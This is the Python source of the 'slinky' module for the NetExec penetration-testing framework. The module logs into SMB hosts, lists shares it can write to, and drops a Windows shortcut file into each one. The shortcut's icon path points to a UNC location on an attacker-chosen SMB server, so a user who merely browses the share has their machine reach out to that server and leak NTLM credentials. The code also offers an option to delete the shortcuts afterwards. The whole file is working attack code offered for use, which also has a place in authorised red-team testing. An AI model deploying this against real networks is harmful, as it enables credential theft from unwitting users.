80 lines
2.8 KiB
Python
80 lines
2.8 KiB
Python
#!/usr/bin/env python3
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import pylnk3
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import ntpath
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from sys import exit
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class NXCModule:
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"""
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Original idea and PoC by Justin Angel (@4rch4ngel86)
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Module by @byt3bl33d3r
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"""
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name = "slinky"
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description = "Creates windows shortcuts with the icon attribute containing a UNC path to the specified SMB server in all shares with write permissions"
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supported_protocols = ["smb"]
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opsec_safe = False
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multiple_hosts = True
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def __init__(self, context=None, module_options=None):
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self.context = context
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self.module_options = module_options
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self.server = None
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self.file_path = None
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self.lnk_path = None
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self.lnk_name = None
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self.cleanup = None
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def options(self, context, module_options):
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"""
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SERVER IP of the SMB server
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NAME LNK file name
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CLEANUP Cleanup (choices: True or False)
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"""
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self.cleanup = False
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if "CLEANUP" in module_options:
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self.cleanup = bool(module_options["CLEANUP"])
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if "NAME" not in module_options:
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context.log.fail("NAME option is required!")
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exit(1)
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if not self.cleanup and "SERVER" not in module_options:
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context.log.fail("SERVER option is required!")
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exit(1)
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self.lnk_name = module_options["NAME"]
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self.lnk_path = f"/tmp/{self.lnk_name}.lnk"
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self.file_path = ntpath.join("\\", f"{self.lnk_name}.lnk")
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if not self.cleanup:
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self.server = module_options["SERVER"]
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link = pylnk3.create(self.lnk_path)
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link.icon = f"\\\\{self.server}\\icons\\icon.ico"
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link.save()
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def on_login(self, context, connection):
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shares = connection.shares()
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for share in shares:
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if "WRITE" in share["access"] and share["name"] not in [
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"C$",
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"ADMIN$",
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"NETLOGON",
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]:
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context.log.success(f"Found writable share: {share['name']}")
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if not self.cleanup:
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with open(self.lnk_path, "rb") as lnk:
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try:
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connection.conn.putFile(share["name"], self.file_path, lnk.read)
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context.log.success(f"Created LNK file on the {share['name']} share")
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except Exception as e:
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context.log.fail(f"Error writing LNK file to share {share['name']}: {e}")
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else:
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try:
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connection.conn.deleteFile(share["name"], self.file_path)
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context.log.success(f"Deleted LNK file on the {share['name']} share")
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except Exception as e:
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context.log.fail(f"Error deleting LNK file on share {share['name']}: {e}")
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